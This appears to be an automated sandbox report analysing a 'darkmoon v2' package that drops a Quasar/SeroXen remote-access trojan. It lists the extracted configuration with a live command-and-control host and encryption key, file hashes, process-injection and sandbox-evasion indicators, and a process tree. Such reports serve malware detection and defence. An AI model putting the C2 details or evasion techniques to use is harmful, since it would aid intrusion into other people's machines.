Analysis
- max time kernel
600s - max time network
594s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
02/06/2024, 15:18
Static task
static1
Behavioral task
behavioral1
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
darkmoon v2/lib/DarkMoon_Gen.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral4
Sample
darkmoon v2/start.bat
Resource
win7-20240220-en
Behavioral task
behavioral5
Sample
darkmoon v2/start.bat
Resource
win10v2004-20240426-en
General
- Target darkmoon v2/start.bat
- Size 82B
- Sample240602-spp86agd23
- SHA256 c07fbd6c49d83eb8399435f9972551d2c73a29e5914a25640639191d187dd80d
- MD5 e6ede72374e4f7b8b907d4099c76f4d4
- SHA1 146899cf959ada383b0a258b06da7963ef0d1c70
- SHA512 1b2d0cd4a5deae331ed16f383831f4ff7ba1c5b7f6906a35354dfd420ca44f17e3469157f2327685a6aa9773175425aa145faa2d4866030d131334eb36426fcc
- MD5 SHA1 SHA512
Malware Config
Extracted
-
quasar
-
1.0.0.0
-
v2.2.6 | SeroXen
-
seroooooxeen.chickenkiller.com:5059
-
f953c0af-702a-46b5-ad07-d900b11c5cd9
-
encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
-
install_name
.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral5/memory/4464-58-0x00000275DAF90000-0x00000275DB75A000-memory.dmp family_quasar - Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 708 created 3200 708 WerFault.exe 145 - Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 376 created 612 376 AyBYMBjlvU.bat.exe 5 PID 4464 created 612 4464 $sxr-powershell.exe 5 PID 4464 created 612 4464 $sxr-powershell.exe 5 PID 376 created 612 376 AyBYMBjlvU.bat.exe 5 PID 4464 created 612 4464 $sxr-powershell.exe 5 PID 4464 created 612 4464 $sxr-powershell.exe 5 PID 4464 created 612 4464 $sxr-powershell.exe 5 PID 4920 created 3200 4920 svchost.exe 145 PID 4464 created 612 4464 $sxr-powershell.exe 5 PID 4464 created 612 4464 $sxr-powershell.exe 5 - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation AyBYMBjlvU.bat.exe - Executes dropped EXE 5 IoCs
pid Process 376 AyBYMBjlvU.bat.exe 3040 $sxr-mshta.exe 544 $sxr-cmd.exe 4464 $sxr-powershell.exe 4216 $sxr-powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" DarkMoon_Gen.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
flow ioc 13 discord.com - Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe - Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 376 set thread context of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 set thread context of 4736 376 AyBYMBjlvU.bat.exe 113 PID 4464 set thread context of 1260 4464 $sxr-powershell.exe 120 PID 4464 set thread context of 2040 4464 $sxr-powershell.exe 122 PID 4464 set thread context of 4700 4464 $sxr-powershell.exe 126 PID 4464 set thread context of 2500 4464 $sxr-powershell.exe 127 PID 376 set thread context of 1796 376 AyBYMBjlvU.bat.exe 136 PID 376 set thread context of 1636 376 AyBYMBjlvU.bat.exe 137 PID 4464 set thread context of 2472 4464 $sxr-powershell.exe 139 PID 4464 set thread context of 5728 4464 $sxr-powershell.exe 140 PID 4464 set thread context of 5756 4464 $sxr-powershell.exe 141 PID 4464 set thread context of 5544 4464 $sxr-powershell.exe 143 PID 4464 set thread context of 5424 4464 $sxr-powershell.exe 144 PID 4464 set thread context of 3200 4464 $sxr-powershell.exe 145 PID 4464 set thread context of 6008 4464 $sxr-powershell.exe 149 PID 4464 set thread context of 5616 4464 $sxr-powershell.exe 150 PID 4464 set thread context of 5692 4464 $sxr-powershell.exe 152 PID 4464 set thread context of 5820 4464 $sxr-powershell.exe 153 - Drops file in Windows directory 7 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-mshta.exe AyBYMBjlvU.bat.exe File created C:\Windows\$sxr-cmd.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe AyBYMBjlvU.bat.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File created C:\Windows\$sxr-powershell.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe AyBYMBjlvU.bat.exe File created C:\Windows\$sxr-mshta.exe AyBYMBjlvU.bat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 5512 3200 WerFault.exe 145 - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Delays execution with timeout.exe 13 IoCs
pid Process 2024 timeout.exe 2280 timeout.exe 2748 timeout.exe 5440 timeout.exe 5204 timeout.exe 4408 timeout.exe 1636 timeout.exe 4480 timeout.exe 116 timeout.exe 5724 timeout.exe 2788 timeout.exe 5572 timeout.exe 392 timeout.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Kills process with taskkill 1 IoCs
pid Process 1264 taskkill.exe - Modifies data under HKEY_USERS 56 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A9F4205E-2669-43FF-92EF-514682CB9111}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717342182" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:29:43 GMT" OfficeClickToRun.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe - Runs ping.exe 1 TTPs 18 IoCs
pid Process 4740 PING.EXE 764 PING.EXE 3348 PING.EXE 2052 PING.EXE 4556 PING.EXE 2848 PING.EXE 1040 PING.EXE 4112 PING.EXE 4684 PING.EXE 3576 PING.EXE 3280 PING.EXE 1808 PING.EXE 3328 PING.EXE 4552 PING.EXE 2924 PING.EXE 4412 PING.EXE 2848 PING.EXE 5420 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 376 AyBYMBjlvU.bat.exe 376 AyBYMBjlvU.bat.exe 376 AyBYMBjlvU.bat.exe 2700 dllhost.exe 2700 dllhost.exe 4736 dllhost.exe 4736 dllhost.exe 4736 dllhost.exe 4736 dllhost.exe 2700 dllhost.exe 2700 dllhost.exe 376 AyBYMBjlvU.bat.exe 376 AyBYMBjlvU.bat.exe 4464 $sxr-powershell.exe 4464 $sxr-powershell.exe 4464 $sxr-powershell.exe 4464 $sxr-powershell.exe 1260 dllhost.exe 1260 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 1260 dllhost.exe 1260 dllhost.exe 4464 $sxr-powershell.exe 4464 $sxr-powershell.exe 4216 $sxr-powershell.exe 4216 $sxr-powershell.exe 4464 $sxr-powershell.exe 4464 $sxr-powershell.exe 4700 dllhost.exe 4700 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe 4216 $sxr-powershell.exe 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 4216 $sxr-powershell.exe 4216 $sxr-powershell.exe 2500 dllhost.exe 2500 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 2500 dllhost.exe 2500 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 376 AyBYMBjlvU.bat.exe Token: SeDebugPrivilege 376 AyBYMBjlvU.bat.exe Token: SeDebugPrivilege 2700 dllhost.exe Token: SeDebugPrivilege 4736 dllhost.exe Token: SeDebugPrivilege 4464 $sxr-powershell.exe Token: SeDebugPrivilege 4464 $sxr-powershell.exe Token: SeDebugPrivilege 1260 dllhost.exe Token: SeDebugPrivilege 2040 dllhost.exe Token: SeDebugPrivilege 4216 $sxr-powershell.exe Token: SeDebugPrivilege 4464 $sxr-powershell.exe Token: SeDebugPrivilege 4700 dllhost.exe Token: SeDebugPrivilege 2500 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2056 svchost.exe Token: SeIncreaseQuotaPrivilege 2056 svchost.exe Token: SeSecurityPrivilege 2056 svchost.exe Token: SeTakeOwnershipPrivilege 2056 svchost.exe Token: SeLoadDriverPrivilege 2056 svchost.exe Token: SeSystemtimePrivilege 2056 svchost.exe Token: SeBackupPrivilege 2056 svchost.exe Token: SeRestorePrivilege 2056 svchost.exe Token: SeShutdownPrivilege 2056 svchost.exe Token: SeSystemEnvironmentPrivilege 2056 svchost.exe Token: SeUndockPrivilege 2056 svchost.exe Token: SeManageVolumePrivilege 2056 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2056 svchost.exe Token: SeIncreaseQuotaPrivilege 2056 svchost.exe Token: SeSecurityPrivilege 2056 svchost.exe Token: SeTakeOwnershipPrivilege 2056 svchost.exe Token: SeLoadDriverPrivilege 2056 svchost.exe Token: SeSystemtimePrivilege 2056 svchost.exe Token: SeBackupPrivilege 2056 svchost.exe Token: SeRestorePrivilege 2056 svchost.exe Token: SeShutdownPrivilege 2056 svchost.exe Token: SeSystemEnvironmentPrivilege 2056 svchost.exe Token: SeUndockPrivilege 2056 svchost.exe Token: SeManageVolumePrivilege 2056 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2056 svchost.exe Token: SeIncreaseQuotaPrivilege 2056 svchost.exe Token: SeSecurityPrivilege 2056 svchost.exe Token: SeTakeOwnershipPrivilege 2056 svchost.exe Token: SeLoadDriverPrivilege 2056 svchost.exe Token: SeSystemtimePrivilege 2056 svchost.exe Token: SeBackupPrivilege 2056 svchost.exe Token: SeRestorePrivilege 2056 svchost.exe Token: SeShutdownPrivilege 2056 svchost.exe Token: SeSystemEnvironmentPrivilege 2056 svchost.exe Token: SeUndockPrivilege 2056 svchost.exe Token: SeManageVolumePrivilege 2056 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2056 svchost.exe Token: SeIncreaseQuotaPrivilege 2056 svchost.exe Token: SeSecurityPrivilege 2056 svchost.exe Token: SeTakeOwnershipPrivilege 2056 svchost.exe Token: SeLoadDriverPrivilege 2056 svchost.exe Token: SeSystemtimePrivilege 2056 svchost.exe Token: SeBackupPrivilege 2056 svchost.exe Token: SeRestorePrivilege 2056 svchost.exe Token: SeShutdownPrivilege 2056 svchost.exe Token: SeSystemEnvironmentPrivilege 2056 svchost.exe Token: SeUndockPrivilege 2056 svchost.exe Token: SeManageVolumePrivilege 2056 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2056 svchost.exe Token: SeIncreaseQuotaPrivilege 2056 svchost.exe Token: SeSecurityPrivilege 2056 svchost.exe Token: SeTakeOwnershipPrivilege 2056 svchost.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4464 $sxr-powershell.exe 5012 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4136 wrote to memory of 3260 4136 cmd.exe 82 PID 4136 wrote to memory of 3260 4136 cmd.exe 82 PID 3260 wrote to memory of 2728 3260 DarkMoon_Gen.exe 84 PID 3260 wrote to memory of 2728 3260 DarkMoon_Gen.exe 84 PID 4136 wrote to memory of 2876 4136 cmd.exe 83 PID 4136 wrote to memory of 2876 4136 cmd.exe 83 PID 2728 wrote to memory of 3064 2728 cmd.exe 87 PID 2728 wrote to memory of 3064 2728 cmd.exe 87 PID 2728 wrote to memory of 2788 2728 cmd.exe 88 PID 2728 wrote to memory of 2788 2728 cmd.exe 88 PID 2728 wrote to memory of 1808 2728 cmd.exe 89 PID 2728 wrote to memory of 1808 2728 cmd.exe 89 PID 2728 wrote to memory of 4556 2728 cmd.exe 90 PID 2728 wrote to memory of 4556 2728 cmd.exe 90 PID 2728 wrote to memory of 4740 2728 cmd.exe 91 PID 2728 wrote to memory of 4740 2728 cmd.exe 91 PID 2728 wrote to memory of 3328 2728 cmd.exe 92 PID 2728 wrote to memory of 3328 2728 cmd.exe 92 PID 2728 wrote to memory of 4552 2728 cmd.exe 93 PID 2728 wrote to memory of 4552 2728 cmd.exe 93 PID 2728 wrote to memory of 2848 2728 cmd.exe 94 PID 2728 wrote to memory of 2848 2728 cmd.exe 94 PID 2728 wrote to memory of 1040 2728 cmd.exe 95 PID 2728 wrote to memory of 1040 2728 cmd.exe 95 PID 2728 wrote to memory of 4684 2728 cmd.exe 96 PID 2728 wrote to memory of 4684 2728 cmd.exe 96 PID 2728 wrote to memory of 3576 2728 cmd.exe 97 PID 2728 wrote to memory of 3576 2728 cmd.exe 97 PID 2728 wrote to memory of 1636 2728 cmd.exe 102 PID 2728 wrote to memory of 1636 2728 cmd.exe 102 PID 2876 wrote to memory of 376 2876 cmd.exe 103 PID 2876 wrote to memory of 376 2876 cmd.exe 103 PID 2728 wrote to memory of 764 2728 cmd.exe 104 PID 2728 wrote to memory of 764 2728 cmd.exe 104 PID 2728 wrote to memory of 2024 2728 cmd.exe 106 PID 2728 wrote to memory of 2024 2728 cmd.exe 106 PID 2728 wrote to memory of 2924 2728 cmd.exe 107 PID 2728 wrote to memory of 2924 2728 cmd.exe 107 PID 2728 wrote to memory of 2280 2728 cmd.exe 110 PID 2728 wrote to memory of 2280 2728 cmd.exe 110 PID 2728 wrote to memory of 4112 2728 cmd.exe 111 PID 2728 wrote to memory of 4112 2728 cmd.exe 111 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 2700 376 AyBYMBjlvU.bat.exe 112 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 376 wrote to memory of 4736 376 AyBYMBjlvU.bat.exe 113 PID 2728 wrote to memory of 4480 2728 cmd.exe 114 PID 2728 wrote to memory of 4480 2728 cmd.exe 114 PID 2728 wrote to memory of 3348 2728 cmd.exe 116 PID 2728 wrote to memory of 3348 2728 cmd.exe 116 PID 3040 wrote to memory of 544 3040 $sxr-mshta.exe 117 PID 3040 wrote to memory of 544 3040 $sxr-mshta.exe 117 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 728 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5ecfd6b9-9af9-4f53-8d0c-49e262d11a13}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2700
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3a136c38-663c-4592-86b3-d11800c9415f}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7228c29a-d178-44cf-b6a1-377e0ad1e30d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4700
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{26ff060f-69db-4051-a2e6-095f80a41c8d}2⤵PID:1796
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4ece8ca1-defc-4aea-97b2-bec1dfd3b0ef}2⤵PID:2472
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{cda6b179-f5bd-4818-b34f-2f0f28a071c5}2⤵PID:5756
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f22f5ee2-4b8c-4d8d-8842-f723d22de765}2⤵PID:5424
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d75369d7-f1de-402a-9516-5baa265aee59}2⤵PID:6008
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4d6fe6b3-7b08-41d7-a23e-bc8715fd41a8}2⤵PID:5692
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1176
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2804
